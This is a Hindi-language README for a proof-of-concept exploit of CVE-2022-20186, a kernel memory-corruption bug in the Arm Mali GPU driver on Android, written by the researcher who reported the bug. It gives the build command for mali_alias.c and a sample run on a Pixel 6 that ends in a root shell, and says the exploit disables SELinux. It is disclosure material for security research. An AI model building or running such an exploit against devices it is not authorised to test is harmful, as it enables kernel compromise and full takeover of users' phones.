
CVE-2022-20186 के लिए एक्सप्लॉइट जो Android पर Arm Mali कर्नेल ड्राइवर मेमोरी करप्शन को लक्षित करता है। यह मनमाना कर्नेल कोड निष्पादन प्राप्त करता है, SELinux को निष्क्रिय करता है, और Pixel 6 पर रूट तक बढ़ जाता है।
विस्तृत लेख यहाँ पाया जा सकता है। यह Arm Mali कर्नेल ड्राइवर में एक बग है जिसे मैंने जनवरी 2022 में रिपोर्ट किया था। इस बग का उपयोग अविश्वसनीय ऐप डोमेन से मनमाना कर्नेल कोड निष्पादन प्राप्त करने के लिए किया जा सकता है, जिसका उपयोग SELinux को अक्षम करने और रूट प्राप्त करने के लिए किया जाता है।
एक्सप्लॉइट Google Pixel 6 पर परीक्षण किया गया है और नवंबर 2021 से फरवरी 2022 तक के पैच स्तरों का समर्थन करता है। कुछ इमेज ऑफ़सेट बदलकर अन्य फर्मवेयर के लिए समर्थन जोड़ना आसान है। संदर्भ के लिए, मैंने ndk-21 में clang के साथ संकलित करने के लिए निम्नलिखित कमांड का उपयोग किया:
android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang mali_alias.c -o mali_alias
एक्सप्लॉइट शायद ही कभी विफल होता है और डिवाइस को क्रैश किए बिना पुनः प्रयास किया जा सकता है। यदि सफल हो, तो यह SELinux को अक्षम कर देगा और रूट प्राप्त कर लेगा।
oriole:/ $ /data/local/tmp/mali_alias
fingerprint: google/oriole/oriole:12/SQ1D.220205.004/8151327:user/release-keys
tracking page 0x6ff794e000
drain 0x6d5b200000
gpu_va[0] 6ff6698000
gpu_va[1] 6ff6695000
alias 0x6ff6693000
overwrite addr : 6ff370051c 51c
overwrite addr : 6de310051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
result 50
overwrite addr : 6ff370051c 51c
overwrite addr : 6de310051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
result 50
oriole:/ #